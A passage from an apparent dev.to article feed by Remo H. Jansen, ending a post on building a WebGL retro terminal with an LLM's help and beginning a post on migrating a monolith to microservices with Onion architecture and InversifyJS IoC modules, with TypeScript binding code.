&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feh2c2tkwgefc6yaoyrym.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feh2c2tkwgefc6yaoyrym.png" alt="Terminal Game" width="800" height="604"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 6: Adding Media Playback with ffplay
&lt;/h2&gt;

&lt;p&gt;I also wanted to add support for playing audio and video files directly in the terminal, similar to how &lt;code&gt;ffplay&lt;/code&gt; works in a real terminal. I asked Claude to implement an &lt;code&gt;ffplay&lt;/code&gt; command that could render video with all the effects previously implemented.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr87itknku6zpgjugeyf9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr87itknku6zpgjugeyf9.png" alt="Terminal ffplay" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 7: Refactoring and Publishing
&lt;/h2&gt;

&lt;p&gt;The final step was to ask Claude to refactor the code to clearly separate the library code (the WebGL retro terminal renderer) from my application code (the terminal emulator and games). The goal was to publish the WebGL terminal renderer as a standalone npm module, and Claude was able to do it with zero issues in just one attempt.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Overall, the entire implementation took around 10–15 hours. Without an LLM, it would have taken me several weeks. I think this project has been an interesting way to demonstrate how powerful LLMs can be as development tools—especially when working with unfamiliar technologies like shader programming.&lt;/p&gt;

&lt;p&gt;By the end of the experiment, I consumed about 50% of my monthly GitHub Copilot for Business tokens ($21/month), which means the entire project cost me roughly $10.50. When you consider that this would have taken weeks of work otherwise, the cost savings enabled by Claude Opus are absolutely insane.&lt;/p&gt;

&lt;p&gt;If you're curious, you can check out the result at &lt;a href="https://remojansen.github.io/" rel="noopener noreferrer"&gt;https://remojansen.github.io/&lt;/a&gt; or browse the source code on &lt;a href="https://github.com/remojansen/remojansen.github.io" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>webdev</category>
      <category>webgl</category>
    </item>
    <item>
      <title>From Monolith to Microservices without changing one line of code, thanks to the power of Inversion of Control (IoC)</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Mon, 01 Dec 2025 03:08:56 +0000</pubDate>
      <link>https://dev.to/remojansen/from-monolith-to-microservices-without-changing-one-line-of-code-thanks-to-the-power-of-inversion-57l6</link>
      <guid>https://dev.to/remojansen/from-monolith-to-microservices-without-changing-one-line-of-code-thanks-to-the-power-of-inversion-57l6</guid>
      <description>&lt;p&gt;In this article, we will explore how to transition from a monolithic architecture to a microservices architecture without refactoring any existing code. We will leverage the power of the Onion/Clean architecture to achieve this goal.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: While we will not change the existing code, we will add a small amount of new code to the application and significantly increase the complexity of the CI/CD pipeline.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;In the past, I have written extensively about the Onion/Clean architecture, so if you are not familiar with it, I recommend reading the following articles first:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://dev.to/remojansen/implementing-the-onion-architecture-in-nodejs-with-typescript-and-inversifyjs-10ad"&gt;Implementing SOLID and the onion architecture in Node.js with TypeScript and InversifyJS&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://dev.to/notaphplover/build-http-apis-with-dependency-injection-in-typescript-meet-the-inversify-framework-ngg"&gt;Build HTTP APIs with Dependency Injection in TypeScript — Meet the Inversify Framework&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://dev.to/remojansen/enforce-clean-architecture-in-your-typescript-projects-with-fresh-onion-45pi"&gt;Enforce Clean Architecture in Your TypeScript Projects with fresh-onion&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  1. Start with a Monolith and the Onion/Clean Architecture
&lt;/h2&gt;

&lt;p&gt;To begin, we will start with a monolithic application that follows the Onion/Clean architecture principles. This application will have a well-defined separation of concerns, with distinct layers for domain models, domain services, application services, and infrastructure.&lt;/p&gt;

&lt;p&gt;When working on a greenfield project, you should always implement a  &lt;a href="https://martinfowler.com/bliki/MonolithFirst.html" rel="noopener noreferrer"&gt;Monolithic first&lt;/a&gt;, even if you plan to transition to microservices later. It is very hard to predict the right service boundaries upfront. &lt;/p&gt;

&lt;p&gt;If it is a new project there are some major risks derived from the fact that there are a lot of unknowns both in terms of technical implementation as well as business requirements. There is also added complexity that comes with a microservices architecture, such as inter-service communication, data consistency, and deployment strategies. As an engineer you want to reduce over exposure to risks as much as possible. Starting with a monolith allows you to focus on building the core functionality of your application without the added complexity of managing multiple services from the outset.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: Service boundaries are the boundaries that define the scope of a microservice. They determine what functionality and data a microservice is responsible for.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In my case I started to work on a project that I knew that I wanted to eventually split into microservices. So I started with a monolith that followed the Onion/Clean architecture principles. Because I knew that I wanted to split the application into microservices later, I made sure to keep the service boundaries in mind while designing the monolith. This meant that I designed the domain models and services in a way that would make it easy to extract them into separate services later on. Here are some of the rules I followed while designing the monolith:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Each boundary will use its own database schema (if using a relational database).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;No database transactions, joins or foreign keys that involve multiple schemas (boundaries).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Calls from one boundary to another would always be http calls, even though in the monolith it would be possible to make direct calls. To do this we don't use URLs like &lt;code&gt;http://localhost:8080/api/xxxx&lt;/code&gt;. We use services URLs like &lt;code&gt;http://service-name:8080/api&lt;/code&gt; and use a reverse proxy to route the requests to the correct service. In the monolith all services run in the same process, so the reverse proxy routes the requests to the same process.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;How does the reverse proxy work?&lt;/strong&gt; In local development and in the monolith deployment, we use a reverse proxy (like Nginx or Traefik) that routes all service URLs (e.g., &lt;code&gt;http://auth-service:8080/api&lt;/code&gt;, &lt;code&gt;http://cms-service:8080/api&lt;/code&gt;) to the same monolith process. The service names are just DNS aliases that all resolve to the same host. When we transition to microservices, we simply update the reverse proxy configuration (or use Kubernetes service discovery) so that each service name resolves to its own dedicated container. The application code remains unchanged—only the infrastructure routing changes that are configured outside of the application.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;Keep database migrations split by schema so you can migrate CI/CD to using multiple databases with ease later on.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These rules ensured that the monolith was designed to make it easy to extract its boundaries into separate services later.&lt;/p&gt;

&lt;p&gt;The application I'm sharing as an example is a CMS with asset management and multi-tenant capabilities. The directory structure of the monolith looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;src
├── app-services // These are not aware of infrastructure details
│   ├── auth
│   ├── cms
│   ├── dam
│   ├── email
│   ├── logging
│   └── tenant
├── domain-model
│   ├── auth
│   ├── cms
│   ├── dam
│   └── tenant
├── index.ts // Monolith composition root
└── infrastructure // These are aware of infrastructure details
    ├── blob
    ├── db
    │   ├── repositories // db queries implementations
    │   │   ├── auth
    │   │   ├── cms 
    │   │   ├── dam
    │   │   └── tenant
    │   └── db.ts
    ├── email
    ├── env
    ├── http
    │   ├── controllers // http layer implementations
    │   │   ├── auth
    │   │   ├── cms
    │   │   ├── dam
    │   │   └── tenant
    │   ├── middleware
    │   └── server.ts
    ├── ioc
    │   ├── index.ts
    │   └── modules // IoC modules for each boundary
    │       ├── asset-management-ioc-module.ts
    │       ├── auth-ioc-module.ts
    │       ├── infrastructure-ioc-module.ts
    │       ├── template-management-ioc-module.ts
    │       ├── content-management-ioc-module.ts
    │       └── tenant-ioc-module.ts
    ├── logging
    └── secrets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see the directory structure is organized as a monolith there are not separate root directories for each micro service. The onion architecture splits the application into layers, and each layer has its own responsibility. The infrastructure layer is responsible for the implementation details, such as database access, email sending, and logging. The application services layer is responsible for the business logic of the application. The domain model layer is responsible for the domain entities and value objects.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: If you want to learn more about the Onion/Clean architecture, I recommend reading my previous articles linked in the prerequisites section.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The layers remain decoupled from each other, at design and compile time. However, at runtime, the inversion of control (IoC) container resolves the dependencies and wires everything together. In order to achieve this, the &lt;br&gt;
IoC containers needs to be aware of link between interfaces and implementations across all layers. These links are known as bindings.&lt;/p&gt;

&lt;p&gt;It is important to understand and highlight the &lt;strong&gt;Inversion of Control (IoC)&lt;/strong&gt; principle here. The IoC principle states that the control of the flow of the application should be inverted. In other words, you stop deciding "when" and "how" an object gets its dependencies. Instead, something external (in our case, the IoC container) gives (injects) the dependencies to your object. The IoC container is responsible for resolving the dependencies and wiring everything together at runtime.&lt;/p&gt;

&lt;p&gt;With InversifyJS (my IoC container of choice for TypeScript projects) we can organize these bindings into IoC modules. Each module is responsible for binding the interfaces to their implementations for a specific boundary or layer. The following is an example of an IoC module for some infrastructure concerns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;infrastructureIocModule&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContainerModule&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;bind&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;// Singleton that manages Azure Key Vault connections&lt;/span&gt;
    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;SecretsManager&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SecretsManagerSymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SecretsManagerImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inSingletonScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// Singleton that manages DB connections&lt;/span&gt;
    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;DatabaseConnectionManager&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DatabaseConnectionManagerSymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DatabaseConnectionManagerImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inSingletonScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;AppSecrets&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SecretsSymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toDynamicValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;secretsManager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getAsync&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;SecretsManager&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SecretsManagerSymbol&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;secretsManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;secretsManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;secrets&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inSingletonScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;UnitOfWork&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;UnitOfWorkSymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;UnitOfWorkImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inSingletonScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;DbClient&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DbClientSymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toDynamicValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;databaseConnectionManager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getAsync&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;DatabaseConnectionManager&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                    &lt;span class="nx"&gt;DatabaseConnectionManagerSymbol&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;databaseConnectionManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getDbClient&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inRequestScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;EmailService&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;EmailServiceSymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;EmailServiceImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inRequestScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;LoggerSymbol&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;LoggerImplementation&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;inSingletonScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;BlobStorage&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;BlobStorageSymbol&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;BlobStorageImplementation&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This module binds various infrastructure services, such as the secrets manager, database connection manager, email service, and logger. Because these services are used across multiple boundaries, it makes sense to have them in a separate infrastructure IoC module. This IoC module can be considered a platform module, as it provides services that are used across multiple boundaries.&lt;/p&gt;

&lt;p&gt;Then we have an IoC module for each boundary. The following is an example of an IoC module for the authentication &amp;amp; authorization boundary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;authIocModule&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContainerModule&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;bind&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;// Middleware&lt;/span&gt;
    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ExpressMiddleware&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AuthorizeMiddlewareSymbol&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AuthorizeMiddleware&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ExpressMiddleware&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AuthenticateMiddleware&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toSelf&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// Controllers&lt;/span&gt;
    &lt;span class="nf"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AuthController&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toSelf&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;inSingletonScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// Repositories&lt;/span&gt;
    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;UserRepository&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;UserRepositorySymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;UserRepositoryImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inRequestScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;VerifyRepository&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;VerifyRepositorySymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;VerifyRepositoryImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inRequestScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ResetRepository&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ResetRepositorySymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ResetRepositoryImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inRequestScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// Services&lt;/span&gt;
    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;AuthService&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AuthServiceSymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AuthServiceImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inRequestScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;PasswordHashingService&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PasswordHashingServiceSymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PasswordHashingServiceImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inRequestScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;AuthTokenService&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AuthTokenServiceSymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AuthTokenServiceImplementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inRequestScope&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nx"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;TwoFactorAppService&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TwoFactorAppServiceSymbol&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
